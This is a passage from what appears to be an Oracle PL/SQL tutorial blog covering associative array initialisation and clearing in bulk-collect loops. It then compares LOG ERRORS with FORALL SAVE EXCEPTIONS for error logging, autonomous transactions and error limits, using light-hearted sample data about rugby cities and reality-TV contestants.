        INDEX BY PLS_INTEGER;
    tbl_rugby typ_funny_shaped_balls;
BEGIN
    DBMS_OUTPUT.PUT_LINE('There are '||tbl_rugby.COUNT||' elements in the collection.');
END;
/

Run this and we get…

There are 0 elements in the collection.

PL/SQL procedure successfully completed.

SQL> 

No nasty error when referencing the collection.
So, applying this to our code, we should be good to go, right ?

DECLARE
    CURSOR c_getaway IS
        SELECT city_name, country_name, play_rugby
        FROM getaway_plans;
    TYPE typ_all_cities is table of c_getaway%ROWTYPE;
    TYPE typ_shortlist is table of shortlist_cities%ROWTYPE
        INDEX BY PLS_INTEGER;
    
    tbl_all_cities typ_all_cities;

    tbl_short typ_shortlist;

    l_idx PLS_INTEGER := 0;
BEGIN
    OPEN c_getaway;
    LOOP
        FETCH c_getaway BULK COLLECT INTO tbl_all_cities LIMIT 4;
        EXIT WHEN tbl_all_cities.COUNT = 0;
        DBMS_OUTPUT.PUT_LINE('Bulk Collect Loop Iteration');
        FOR i IN 1..tbl_all_cities.COUNT LOOP
            IF tbl_all_cities(i).play_rugby = 'N' THEN
                l_idx := l_idx + 1;
                tbl_short(l_idx).city_name := tbl_all_cities(i).city_name;
                tbl_short(l_idx).country_name := tbl_all_cities(i).country_name;
            END IF;
        END LOOP;
        FORALL j IN 1..tbl_short.COUNT 
            INSERT INTO shortlist_cities
            VALUES tbl_short(j);
        l_idx := 0;
    END LOOP;
    CLOSE c_getaway;
END;
/

Run this and all seems well…

SQL> @madness2
Bulk Collect Loop Iteration
Bulk Collect Loop Iteration
Bulk Collect Loop Iteration
Bulk Collect Loop Iteration

PL/SQL procedure successfully completed.

SQL> 

…until you look at the resulting data…

SQL> select city_name from shortlist_cities order by 1;

CITY_NAME
--------------------------------------------------
AMSTERDAM
AMSTERDAM
BASEL
BASEL
BERLIN
BRUGES
BRUGES
COPENHAGEN
HAVANA
PERTH
PERTH

CITY_NAME
--------------------------------------------------
VIENNA
WARSAW

13 rows selected.

Hmmm…not quite what we had in mind.
The problem here is that neither array is being cleared down between loop iterations.
The results are…interesting.

Let’s try and address that…

DECLARE
    CURSOR c_getaway IS
        SELECT city_name, country_name, play_rugby
        FROM getaway_plans;
    TYPE typ_all_cities is table of c_getaway%ROWTYPE;
    TYPE typ_shortlist is table of shortlist_cities%ROWTYPE
        INDEX BY PLS_INTEGER;
    
    tbl_all_cities typ_all_cities;
    tbl_short typ_shortlist;

    tbl_ac_empty typ_all_cities;
    tbl_short_empty typ_shortlist;
    
    l_idx PLS_INTEGER := 0;
BEGIN
    OPEN c_getaway;
    LOOP
        FETCH c_getaway BULK COLLECT INTO tbl_all_cities LIMIT 4;
        EXIT WHEN tbl_all_cities.COUNT = 0;
        DBMS_OUTPUT.PUT_LINE('Bulk Collect Loop Iteration');
        FOR i IN 1..tbl_all_cities.COUNT LOOP
            IF tbl_all_cities(i).play_rugby = 'N' THEN
                l_idx := l_idx + 1;
                tbl_short(l_idx).city_name := tbl_all_cities(i).city_name;
                tbl_short(l_idx).country_name := tbl_all_cities(i).country_name;
            END IF;
        END LOOP;
        FORALL j IN 1..tbl_short.COUNT 
            INSERT INTO shortlist_cities
            VALUES tbl_short(j);
        l_idx := 0;
        -- clear down the arrays between each iteration.
        tbl_all_cities := tbl_ac_empty;
        tbl_short := tbl_short_empty;
    END LOOP;
    CLOSE c_getaway;
END;
/

Here, we’ve simply assigned the arrays to an empty array of the same type at the bottom of the loop.
This seems to solve the problem…

SQL> select city_name from shortlist_cities order by 1;

CITY_NAME
--------------------------------------------------
AMSTERDAM
BASEL
BERLIN
BRUGES
COPENHAGEN
HAVANA
PERTH
VIENNA
WARSAW

9 rows selected.

SQL> 

At this point, you might think that there’s still a potential issue lurking in this code. OK, we’ve initialised the tbl_short array by including the INDEX BY clause in the type definition.
We haven’t done this for the tbl_all_cities array. OK, at the moment this array is intialised by the fetch from the cursor. What would happen if the cursor fetch didn’t return any rows …

DECLARE
    CURSOR c_getaway IS
        SELECT city_name, country_name, play_rugby
        FROM getaway_plans
        WHERE play_rugby = 'X';
    TYPE typ_all_cities is table of c_getaway%ROWTYPE;
    TYPE typ_shortlist is table of shortlist_cities%ROWTYPE
        INDEX BY PLS_INTEGER;
    
    tbl_all_cities typ_all_cities;
    tbl_short typ_shortlist;

    tbl_ac_empty typ_all_cities;
    tbl_short_empty typ_shortlist;
    
    l_idx PLS_INTEGER := 0;
BEGIN
    OPEN c_getaway;
    LOOP
        FETCH c_getaway BULK COLLECT INTO tbl_all_cities LIMIT 4;
        EXIT WHEN tbl_all_cities.COUNT = 0;
        DBMS_OUTPUT.PUT_LINE('Bulk Collect Loop Iteration');
        FOR i IN 1..tbl_all_cities.COUNT LOOP
            IF tbl_all_cities(i).play_rugby = 'N' THEN
                l_idx := l_idx + 1;
                tbl_short(l_idx).city_name := tbl_all_cities(i).city_name;
                tbl_short(l_idx).country_name := tbl_all_cities(i).country_name;
            END IF;
        END LOOP;
        FORALL j IN 1..tbl_short.COUNT 
            INSERT INTO shortlist_cities
            VALUES tbl_short(j);
        l_idx := 0;
        tbl_all_cities := tbl_ac_empty;
        tbl_short := tbl_short_empty;
    END LOOP;
    CLOSE c_getaway;
END;
/

…er, it still works. Yep, as long as the Associative Array is the target of a fetch before you reference it, it will be initialised.

One final point to note. Whilst it’s common practice to cleardown your Associative Arrays by simply assigning them the value of an empty array of the same type, there is another way…

set serveroutput on
DECLARE
    CURSOR c_getaway IS
        SELECT city_name, country_name, play_rugby
        FROM getaway_plans;
    TYPE typ_all_cities is table of c_getaway%ROWTYPE;
    TYPE typ_shortlist is table of shortlist_cities%ROWTYPE
        INDEX BY PLS_INTEGER;
    
    tbl_all_cities typ_all_cities;
    tbl_short typ_shortlist;
    
    l_idx PLS_INTEGER := 0;
BEGIN
    OPEN c_getaway;
    LOOP
        FETCH c_getaway BULK COLLECT INTO tbl_all_cities LIMIT 4;
        EXIT WHEN tbl_all_cities.COUNT = 0;
        DBMS_OUTPUT.PUT_LINE('Bulk Collect Loop Iteration');
        FOR i IN 1..tbl_all_cities.COUNT LOOP
            IF tbl_all_cities(i).play_rugby = 'N' THEN
                l_idx := l_idx + 1;
                tbl_short(l_idx).city_name := tbl_all_cities(i).city_name;
                tbl_short(l_idx).country_name := tbl_all_cities(i).country_name;
            END IF;
        END LOOP;
        FORALL j IN 1..tbl_short.COUNT 
            INSERT INTO shortlist_cities
            VALUES tbl_short(j);
        l_idx := 0;
        -- clear down the arrays between each iteration.
        DBMS_OUTPUT.PUT_LINE('Currently '||tbl_all_cities.COUNT||' records in tbl_all_cities.');
        DBMS_OUTPUT.PUT_LINE('Currently '||tbl_short.COUNT||' records in tbl_short.');
        tbl_all_cities.DELETE;
        tbl_short.DELETE;
        DBMS_OUTPUT.PUT_LINE('Now tbl_all_cities contains '||tbl_all_cities.COUNT||' records.');
        DBMS_OUTPUT.PUT_LINE('...and tbl_short contains '||tbl_short.COUNT||' records.');
    END LOOP;
    CLOSE c_getaway;
END;
/

Simply using the DELETE method will cleardown our arrays…

Bulk Collect Loop Iteration
Currently 4 records in tbl_all_cities.
Currently 1 records in tbl_short.
Now tbl_all_cities contains 0 records.
...and tbl_short contains 0 records.
Bulk Collect Loop Iteration
Currently 4 records in tbl_all_cities.
Currently 4 records in tbl_short.
Now tbl_all_cities contains 0 records.
...and tbl_short contains 0 records.
Bulk Collect Loop Iteration
Currently 4 records in tbl_all_cities.
Currently 4 records in tbl_short.
Now tbl_all_cities contains 0 records.
...and tbl_short contains 0 records.
Bulk Collect Loop Iteration
Currently 1 records in tbl_all_cities.
Currently 0 records in tbl_short.
Now tbl_all_cities contains 0 records.
...and tbl_short contains 0 records.

PL/SQL procedure successfully completed.

SQL> 

Right, six-pack of Brain’s bitter.Check. Inflatable Daffodil. Check. Deb humming Land of My Fathers, Check. The game must be about to start…


Filed under: Oracle, PL/SQL Tagged: associative array DELETE method, bulk collect, forall, index by, initializing an associative array, ora-06531, pl/sql associative arrays, PL/SQL Table

Speed Isn’t Everything – LOG ERRORS, SAVE EXCEPTIONS and Fun in the Snow

Mon, 2014-02-10 10:35

Before the fourth one-day international, Mitchell Johnson decided to shave off his moustache.
During the fourth one-day international, Mitchell returned the less than impressive figures of 0-72 off 10 overs.
At the end of the fourth one-day international, England had finally notched a win against Australia.
The logical conclusion to draw from all of this is that Mitchell Johnson is not a regular reader of this blog.

On the plus side, I did get a couple of interesting comments from my last post about the performance differences between Log Errors and Save Exceptions.
As well as Jim Dickson’s input, Steve Feuerstein made some observations on the Toadworld site (which you can see here if you’re interested).

These comments both had a similar theme to the effect that, whilst Log Errors and Save Exceptions are similar, there are some differences beyond their relative performance.

So, the aim of this post is to take a fresh look at these two mechanisms and how they compare.
For the code examples, I’m going to step away from the horror show that has been England’s cricket tour of Australia, and focus instead on the wacky world of Reality TV.

We’ve had celebrity high-diving, celebrity ballroom dancing, even celebrity dog-training.
With the Winter Olympics almost upon us, some particularly sadistic TV executive hit on the idea of assembling a collection of celebrities, strapping a plank of wood to each foot/handing them a tea-tray…and then pushing them off the side of a mountain.
All a bit of harmless fun. After all, what could possibly go wrong ?
Having said that, the producers of The Jump did hire a couple of extra cast members to account for the remote possibility that a broken rib/collar-bone/finger-nail might render one or more of the original contestants incapacitated.

The Data

Here we are then, the data that we want to load into our final target table :

CREATE TABLE contestants
(
    first_name varchar2(50),
    last_name varchar2(50),
    orig_cast_flag varchar2(1)
)
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES( 'DONAL', 'MACINTYRE', NULL)
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('JOE', 'MCELDERRY', NULL)
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('STEVE', 'REDGRAVE', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('SINITTA', NULL, 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('RITCHIE', 'NEVILLE', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('NICKY','CLARKE', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('MELINDA', 'MESSANGER', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('MARCUS', 'BRIGSTOCKE', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('LAURA', 'HAMILTON', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('KIMBERLY', 'WYATT', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('HENRY', 'CONWAY', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('DARREN', 'GOUGH', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('ANTHEA', 'TURNER', 'Y')
/

INSERT INTO contestants( first_name, last_name, orig_cast_flag)
VALUES('AMY', 'CHILDS', 'Y')
/

COMMIT;

Incidentally, if you’ve never heard of half of these people, I’m afraid I can’t help you there. I’m not really up on this sort of thing and only discovered last week that TOWIE was actually an acronym for a reality show and not the name of someone who features prominently in the gossip columns of some of the more lurid tabloids.

Anyway, the target table itself…

create table original_cast_members
(
    first_name VARCHAR2(50) NOT NULL,
    last_name VARCHAR2(50) NOT NULL
)
/

Looking at the table definition, it seems quite likely that we’re going to get some errrors when trying to load the records from the CONTESTANTS staging table into the target ORIGINAL_CAST_MEMBERS table.
So, we’re back to the LOG ERRORS or SAVE EXCEPTIONS mechanisms in order to ensure that one or more errors during the load do not cause the entire load to fail.

Log Errors

The LOG ERRORS mechanism is related to the ever-so-convenient DBMS_ERRLOG.CREATE_ERROR_LOG procedure which we can use to create a table to hold details of any dml errors on a given table.
In our case, we want details of errors for inserts into the ORIGINAL_CAST_MEMBERS table :

BEGIN
    DBMS_ERRLOG.CREATE_ERROR_LOG( dml_table_name => 'ORIGINAL_CAST_MEMBERS');
END;
/

This creates a table called ERR$_ORIGINAL_CAST_MEMBERS which looks like this :

 Name					   Null?    Type
 ----------------------------------------- -------- ----------------------------
 ORA_ERR_NUMBER$				    NUMBER
 ORA_ERR_MESG$					    VARCHAR2(2000)
 ORA_ERR_ROWID$ 				    ROWID
 ORA_ERR_OPTYP$ 				    VARCHAR2(2)
 ORA_ERR_TAG$					    VARCHAR2(2000)
 FIRST_NAME					    VARCHAR2(4000)
 LAST_NAME					    VARCHAR2(4000)

Now, not every DML statement that fails will be recorded in this table…

SQL> insert into original_cast_members values(NULL, 'SILLY');
insert into original_cast_members values(NULL, 'SILLY')
                                         *
ERROR at line 1:
ORA-01400: cannot insert NULL into
("MIKE"."ORIGINAL_CAST_MEMBERS"."FIRST_NAME")


SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 0

SQL> 

However, any errors on this table as the result of a DML statement including the LOG ERRORS table will be written here by default :

insert into original_cast_members values(NULL, 'SILLY')
  2* log errors reject limit unlimited
SQL> /

0 rows created.

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 1

SQL> 

A couple of things are striking about this last example.
First, there’s no error message returned.
Secondly, although we didn’t tell it to, the statement has automatically written the error to the $ERR table we just created.

Taking a closer look at the error table…

SELECT ora_err_mesg$
FROM err$_original_cast_members;

…we find the error message…

ORA_ERR_MESG$
--------------------------------------------------------------------------------
ORA-01400: cannot insert NULL into ("MIKE"."ORIGINAL_CAST_MEMBERS"."FIRST_NAME")

LOG ERRORS has one more surprise up it’s sleeves.

LOG ERRORS and The Hidden Autonomous Transaction

To demonstrate, I’m going to truncate the error table (yes, I know I haven’t commited anything but bear with me), and try another statement. Incidentally, for what follows, I also make sure that autocommit is turned off :

set autocommit off
truncate table err$_original_cast_members;

…and check that there are no rows in either the target table or the error table…

SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	 0

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 0

SQL> 

Now to run a log errors insert that looks like this (saved as insert_le.sql):

INSERT INTO original_cast_members( first_name, last_name)
    SELECT first_name, last_name
    FROM contestants
    WHERE NVL(orig_cast_flag, 'N') = 'Y'
    LOG ERRORS REJECT LIMIT UNLIMITED
/
SQL> @insert_le.sql

11 rows created.

SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	11

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 1

SQL> 

Looks like I’ve hit an error somewhere, so maybe I’ll just rollback the entire transaction…

SQL> rollback;

Rollback complete.

SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	 0

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 1

SQL> 

Interesting. Whilst the insert to the target table has been successfully rolled back, you’ll notice that the error table is still stubbornly clinging on to it’s record.

As Jim observed, it looks very much like LOG ERRORS inserts records into the error table in an autonomous transaction.
This behaviour becomes particularly useful when we want the transaction to fail if more than a given number of records error.
Let’s try a slightly modified example

ALTER TABLE original_cast_members
    ADD orig_cast_flag VARCHAR2(1) 
    CONSTRAINT chk_orig_only CHECK( orig_cast_flag = 'Y')
/

At this point, it’s worth noting that the error log table is not updated to account for the new column.
You can either drop and re-create the table using DBMS_ERRLOG as previously, or amend the structure of the table manually :

ALTER TABLE err$_original_cast_members ADD orig_cast_flag varchar2(4000);

Hang on, a VARCHAR2(4000) for a VARCHAR2(1) on the target table. Isn’t that a bit excessive ?
Well, one of the errors you may well catch is ORA-12899: value too large for column. If you do hit this, you’d probably like to know what the value that you were trying to set was.
Now, we want to try to run an insert statement which bails out when we get more than two errors (we should get three in this load) …

INSERT INTO original_cast_members( first_name, last_name, orig_cast_flag)
    SELECT first_name, last_name, NVL(orig_cast_flag, 'N')
    FROM contestants
    LOG ERRORS REJECT LIMIT 2
/

…now run it and…

SQL> @insert_le_max_err.sql
    SELECT first_name, last_name, NVL(orig_cast_flag, 'N')
                       *
ERROR at line 2:
ORA-01400: cannot insert NULL into ("MIKE"."ORIGINAL_CAST_MEMBERS"."LAST_NAME")


SQL> 

Now we’re getting an error back. We can also see that we haven’t successfully inserted any records into the target table. However, there are three records in the error table :

SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	 0

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 3

SQL> 

So, although the statement has failed, we have the error records ready to investigate in the errors table.
All errors, up to and including the one that exceeded the limit we specified, will be recorded.
We can review these simply by :

SELECT ora_err_mesg$, first_name, last_name, orig_cast_flag
FROM err$_original_cast_members
/

The results :

ORA_ERR_MESG$									 FIRST_NAME	 LAST_NAME	 ORIG_CAST_
-------------------------------------------------------------------------------- --------------- --------------- ----------
ORA-02290: check constraint (MIKE.CHK_ORIG_ONLY) violated			 DONAL		 MACINTYRE	 N
ORA-02290: check constraint (MIKE.CHK_ORIG_ONLY) violated			 JOE		 MCELDERRY	 N
ORA-01400: cannot insert NULL into ("MIKE"."ORIGINAL_CAST_MEMBERS"."LAST_NAME")  SINITTA			 Y

We can see from this that two of the records failed the new check constraint, and one because the entry has no value specified for LAST_NAME.

Other Error Table Columns

So far, we’ve concentrated on the ORA_ERR_MESG$ column of the error table.
It’s probably worth having a look at the other error specific columns in the table and how LOG ERRORS populates them.
Two of these columns are fairly straightforward :

  • ORA_ERR_NUMBER$ is the Oracle Error Number (which is included in the ORA_ERR_MESG$ as we’ve seen)
  • ORA_ERR_OPTYP$ is the DML operation that caused the error i.e. I(nsert), U(pdate) or D(elete)

The ORA_ERR_TAG$ allows you to enter an identifier for the particular instance of the DML statement you’re running.
Up until now, I’ve had to truncate the error table between runs to avoid getting confused.
However, if I tweak the statement to specify a tag as follows :

INSERT INTO original_cast_members( first_name, last_name, orig_cast_flag)
    SELECT first_name, last_name, NVL(orig_cast_flag, 'N')
    FROM contestants
    LOG ERRORS('OFF TO CASUALTY') REJECT LIMIT 2
/

After I’ve run into the problems, I can query the error table just for the records that failed in this particular transaction :

SELECT COUNT(*)
FROM err$_original_cast_members
WHERE ora_err_tag$ = 'OFF TO CASUALTY'
/

The final error column to look at is ORA_ERR_ROWID$. It’s always set to NULL for an insert statement, which is understandable when you think about it.
It’s purpose is to hold the rowid of the row that you’ve just failed to update or delete. So…

Update Errors

First, let’s try inserting a valid record into ORIGINAL_CAST_MEMBERS so that we can play around a bit :

INSERT INTO original_cast_members(first_name, last_name, orig_cast_flag)
VALUES('RITCHIE', 'NEVILLE', 'Y')
/
COMMIT;

Let’s try a wacky update statement and see what LOG_ERRORS makes of it…

UPDATE original_cast_members
SET orig_cast_flag = 'Original Cast or Plaster Cast ?'
WHERE first_name = 'RITCHIE'
AND last_name = 'NEVILLE'
LOG ERRORS ('BAD TASTE UPDATE') REJECT LIMIT UNLIMITED
/

Predictably, the update does not affect any rows. Not surprising considering I was trying to set a VARCHAR2(1) column to a value considerably longer than 1. However, when we look in the error table, we can see that we now have a rowid :

SQL> SELECT ora_err_rowid$
  2  FROM err$_original_cast_members
  3  WHERE ora_err_tag$ = 'BAD TASTE UPDATE'
  4  /

ORA_ERR_ROWID$
--------------------------------------------------------------------------------
AAAGONAAEAAABQbAAA

SQL> 

So, not only do we have the details of the values used in the failed update statement, we can also use the rowid to find the target row of the update :

SQL> SELECT first_name, last_name, orig_cast_flag
  2  FROM original_cast_members
  3  WHERE ROWID = 'AAAGONAAEAAABQbAAA';

FIRST_NAME	LAST_NAME	ORIG_CAST_FLAG
--------------- --------------- ---------------
RITCHIE 	NEVILLE 	Y

SQL> 

So, functionally at least, LOG ERRORS has a fair bit going for it.
But how does the PL/SQL equivalant of SAVE EXCEPTIONS compare ?

SAVE EXCEPTIONS

Having cleared down the target and error tables once more, we can now have a look at the SAVE EXCEPTIONS equivalent of LOG ERRORS. Just how closely can PL/SQL match the functionality on offer with the LOG ERRORS mechanism ?

The Error Message

Firstly, with no limit on the number of records that error on insert…

DECLARE
    TYPE typ_orig_cast IS TABLE OF original_cast_members%rowtype;
    tbl_orig_cast typ_orig_cast;
    
    e_dml_err EXCEPTION;
    
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    
    CURSOR c_contestants IS
        SELECT first_name, last_name, orig_cast_flag
        FROM contestants
        WHERE NVL(orig_cast_flag, 'N') = 'Y';

    --
    -- Array for error handling
    --
    TYPE typ_err IS TABLE OF err$_original_cast_members%ROWTYPE
        INDEX BY PLS_INTEGER;
    tbl_err typ_err;
    tbl_err_empty typ_err;
    l_idx NUMBER;
BEGIN
    OPEN c_contestants;
    LOOP
        FETCH c_contestants BULK COLLECT INTO tbl_orig_cast LIMIT 100;
        EXIT WHEN tbl_orig_cast.COUNT = 0;
        BEGIN
            FORALL i IN 1..tbl_orig_cast.COUNT SAVE EXCEPTIONS
                INSERT INTO original_cast_members
                VALUES tbl_orig_cast(i);
        EXCEPTION
            WHEN e_dml_err THEN
                FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
                    --
                    -- Loop through and populate the error array
                    --
                    l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
                    tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
                    tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
                    tbl_err(j).ora_err_rowid$ := NULL; -- need to specify the NULL value in this example
                    tbl_err(j).ora_err_tag$ := 'HOW DO YOU STOP AGAIN ?';
                    tbl_err(j).ora_err_optyp$ := 'I';
                    tbl_err(j).first_name := tbl_orig_cast(l_idx).first_name;
                    tbl_err(j).last_name := tbl_orig_cast(l_idx).last_name;
                    tbl_err(j).orig_cast_flag := tbl_orig_cast(l_idx).orig_cast_flag;
                END LOOP;
                --
                -- ...and populate the error table in one fell swoop ( per iteration)
                --
                FORALL k IN 1..tbl_err.COUNT 
                    INSERT INTO err$_original_cast_members
                    VALUES tbl_err(k);
                --
                -- Cleardown the error array
                --
                tbl_err := tbl_err_empty;
        END;
    END LOOP;
    CLOSE c_contestants;
END;
/   

When we run this, all seems as expected…

SQL> @insert_se1.sql

PL/SQL procedure successfully completed.

SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	11

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 1

SQL> 

However, if we take a closer look, we can begin to see some differences. First of all, let’s take a look at the error message that’s been recorded :

SQL> select ora_err_mesg$
  2  from err$_original_cast_members
  3* where ora_err_tag$ = 'HOW DO YOU STOP AGAIN ?'
SQL> /

ORA_ERR_MESG$
--------------------------------------------------------------------------------
ORA-01400: cannot insert NULL into ()
SQL> 

Hmmm, that’s a bit less specific than for LOG ERRORS.
Whilst we do have data available to populate most of the columns in the error table, we don’t have the specific error for each record.
the SQL%BULK_EXCEPTIONS collection only has two elements :

  • error index – holds the index number of the record in the collection where the failure occurred
  • error code – the Oracle error code of the error that was raised

In order to get an error message into the table, we’re having to use the SQLERRM function to lookup the text for the error number recorded.
In this example, not having the precise details of the column name where we hit this error is a minor inconvenience.
It would be less so if you were looking at such a failure for a table with a large number of not null columns.

Autonomous Error Record Logging

At this point you may well be thinking that I’ve forgotten to complete the transaction. Well, let’s do that now and see if the magic hidden autonomous transaction is still in play….

SQL> rollback;

Rollback complete.

SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	 0

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 0

SQL> 

…er, no.

Incidentally, whether you regard this as a plus or a minus will rather depend on how you feel about having SAVE EXCEPTIONS do this in the first place.
Where you have error records identified by a unique tag so that they’re easy to lookup, it’s probably useful to have the error record, irrespective of what happens to the parent transaction. Otherwise, you could end up with quite a lot of error records which are of limited value.

Replicating this behaviour in PL/SQL requires a bit of a tweak to our code. By moving the error handling into a procedure, we can specify the autonomous transaction :

DECLARE
    TYPE typ_orig_cast IS TABLE OF original_cast_members%rowtype;
    tbl_orig_cast typ_orig_cast;
    
    e_dml_err EXCEPTION;
    
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
     
    CURSOR c_contestants IS
        SELECT first_name, last_name, orig_cast_flag
        FROM contestants
        WHERE NVL(orig_cast_flag, 'N') = 'Y';
    --
    -- Encapsulate the error logging into an automomous transaction
    -- so that errors get saved even if the parent transaction is rolled back.
    --
    PROCEDURE process_errors_pr IS
        TYPE typ_err IS TABLE OF err$_original_cast_members%ROWTYPE
            INDEX BY PLS_INTEGER;
        tbl_err typ_err;
        tbl_err_empty typ_err;
        l_idx NUMBER;
        PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
        FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
            l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
            tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
            tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
            tbl_err(j).ora_err_rowid$ := NULL; 
            tbl_err(j).ora_err_tag$ := 'HOW DO YOU STOP AGAIN ?';
            tbl_err(j).ora_err_optyp$ := 'I';
            tbl_err(j).first_name := tbl_orig_cast(l_idx).first_name;
            tbl_err(j).last_name := tbl_orig_cast(l_idx).last_name;
            tbl_err(j).orig_cast_flag := tbl_orig_cast(l_idx).orig_cast_flag;
        END LOOP;
        FORALL k IN 1..tbl_err.COUNT 
            INSERT INTO err$_original_cast_members
            VALUES tbl_err(k);
        --
        -- Save the exceptions
        --
        COMMIT;
        tbl_err := tbl_err_empty;
    END process_errors_pr;

BEGIN
    OPEN c_contestants;
    LOOP
        FETCH c_contestants BULK COLLECT INTO tbl_orig_cast LIMIT 100;
        EXIT WHEN tbl_orig_cast.COUNT = 0;
        BEGIN
            FORALL i IN 1..tbl_orig_cast.COUNT SAVE EXCEPTIONS
                INSERT INTO original_cast_members
                VALUES tbl_orig_cast(i);
        EXCEPTION
            WHEN e_dml_err THEN
            process_errors_pr;
        END;
    END LOOP;
    CLOSE c_contestants;
END;
/   

Now when we run this bit of code…

SQL> @insert_se_at.sql

PL/SQL procedure successfully completed.

SQL> rollback;

Rollback complete.

SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	 0

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 1

SQL> 
Specified maximum number of errors

OK, so what about the maximum number of errors ? Well, once again, PL/SQL can do something similar should you desire :

DECLARE
    TYPE typ_orig_cast IS TABLE OF original_cast_members%rowtype;
    tbl_orig_cast typ_orig_cast;
    
    e_dml_err EXCEPTION;
    
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    --
    -- this cursor should give us 3 error records...
    -- 
    CURSOR c_contestants IS
        SELECT first_name, last_name, NVL(orig_cast_flag, 'N')
        FROM contestants;
    --
    -- Use a variable to set the maximum number of errors before
    -- we raise an error and fail the entire parent transaction
    --
    lc_max_errors CONSTANT PLS_INTEGER := 2;
    l_err_count PLS_INTEGER := 0;
    e_max_errors EXCEPTION;
    
    PROCEDURE process_errors_pr IS
        TYPE typ_err IS TABLE OF err$_original_cast_members%ROWTYPE
            INDEX BY PLS_INTEGER;
        tbl_err typ_err;
        tbl_err_empty typ_err;
        l_idx NUMBER;
        PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
        --
        -- Keep a running total of the number of exceptions...
        --
        l_err_count := l_err_count + SQL%BULK_EXCEPTIONS.COUNT;
        FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
            l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
            tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
            tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
            tbl_err(j).ora_err_rowid$ := NULL; 
            tbl_err(j).ora_err_tag$ := 'HOW DO YOU STOP AGAIN ?';
            tbl_err(j).ora_err_optyp$ := 'I';
            tbl_err(j).first_name := tbl_orig_cast(l_idx).first_name;
            tbl_err(j).last_name := tbl_orig_cast(l_idx).last_name;
            tbl_err(j).orig_cast_flag := tbl_orig_cast(l_idx).orig_cast_flag;
        END LOOP;
        FORALL k IN 1..tbl_err.COUNT 
            INSERT INTO err$_original_cast_members
            VALUES tbl_err(k);
        COMMIT;
        tbl_err := tbl_err_empty;
    END process_errors_pr;

BEGIN
    OPEN c_contestants;
    LOOP
        --
        -- For the purposes of testing the maxiumum error functionality, set the
        -- limit to an unusually small value...
        --
        FETCH c_contestants BULK COLLECT INTO tbl_orig_cast LIMIT 5;
        EXIT WHEN tbl_orig_cast.COUNT = 0;
        BEGIN
            --
            -- Check the maximum number of errors outside of the bulk collect
            -- so we won't get caught up with the handling of the save exceptions
            -- error.
            --
            IF l_err_count > lc_max_errors THEN
                RAISE e_max_errors;
            END IF;
            FORALL i IN 1..tbl_orig_cast.COUNT SAVE EXCEPTIONS
                INSERT INTO original_cast_members
                VALUES tbl_orig_cast(i);
        EXCEPTION
            WHEN e_dml_err THEN
                process_errors_pr;
            WHEN e_max_errors THEN
                ROLLBACK;
                --
                -- re-raise to the outer block so it dies horribly
                --
                RAISE_APPLICATION_ERROR(-20000, 'Maximum number of errors exceeded');
        END;
    END LOOP;
    CLOSE c_contestants;
END;
/   

Run this and we get…

SQL> @insert_se_max_err.sql
DECLARE
*
ERROR at line 1:
ORA-20000: Maximum number of errors exceeded
ORA-06512: at line 85


SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	 0

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 3

SQL> 

Of course, there is a chance that you may record additional error records. Remember, the PL/SQL is processing these records in batches wheras LOG ERRORS does it row-by-row. Therefore, you may get more than the maximum number of errors + 1.

There is one more tweak we need to apply to the PL/SQL to bring it more into line with LOG ERRORS, as far as INSERTS are concerned at least.

Handling values that are too large

